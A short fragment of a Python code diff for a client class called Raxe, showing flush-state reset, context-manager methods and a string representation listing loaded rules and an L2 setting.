1560
|
+
except Exception:
|
|
1561
|
+
pass # Never fail on atexit
|
|
1562
|
+
|
|
1563
|
+
@classmethod
|
|
1564
|
+
def _reset_flush_state(cls) -> None:
|
|
1565
|
+
"""Reset flush state (for testing only)."""
|
|
1566
|
+
with cls._flush_lock:
|
|
1567
|
+
cls._flushed = False
|
|
1568
|
+
cls._atexit_registered = False
|
|
1569
|
+
|
|
1570
|
+
def __enter__(self) -> Raxe:
|
|
1571
|
+
"""Enter context manager.
|
|
1572
|
+
|
|
1573
|
+
Returns:
|
|
1574
|
+
Self for use in with statement
|
|
1575
|
+
"""
|
|
1576
|
+
return self
|
|
1577
|
+
|
|
1578
|
+
def __exit__(
|
|
1579
|
+
self,
|
|
1580
|
+
exc_type: type[BaseException] | None,
|
|
1581
|
+
exc_val: BaseException | None,
|
|
1582
|
+
exc_tb: object,
|
|
1583
|
+
) -> None:
|
|
1584
|
+
"""Exit context manager and cleanup.
|
|
1585
|
+
|
|
1586
|
+
Args:
|
|
1587
|
+
exc_type: Exception type (if any)
|
|
1588
|
+
exc_val: Exception value (if any)
|
|
1589
|
+
exc_tb: Exception traceback (if any)
|
|
1590
|
+
"""
|
|
1591
|
+
self.close()
|
|
1592
|
+
|
|
1593
|
+
def __repr__(self) -> str:
|
|
1594
|
+
"""String representation of Raxe client.
|
|
1595
|
+
|
|
1596
|
+
Returns:
|
|
1597
|
+
Human-readable string showing key stats
|
|
1598
|
+
"""
|
|
1599
|
+
return (
|
|
1600
|
+
f"Raxe(initialized={self._initialized}, "
|
|
1601
|
+
f"rules={self.stats['rules_loaded']}, "
|
|
1602
|
+
f"l2_enabled={self.config.enable_l2})"
|
|
1603
|
+
)
|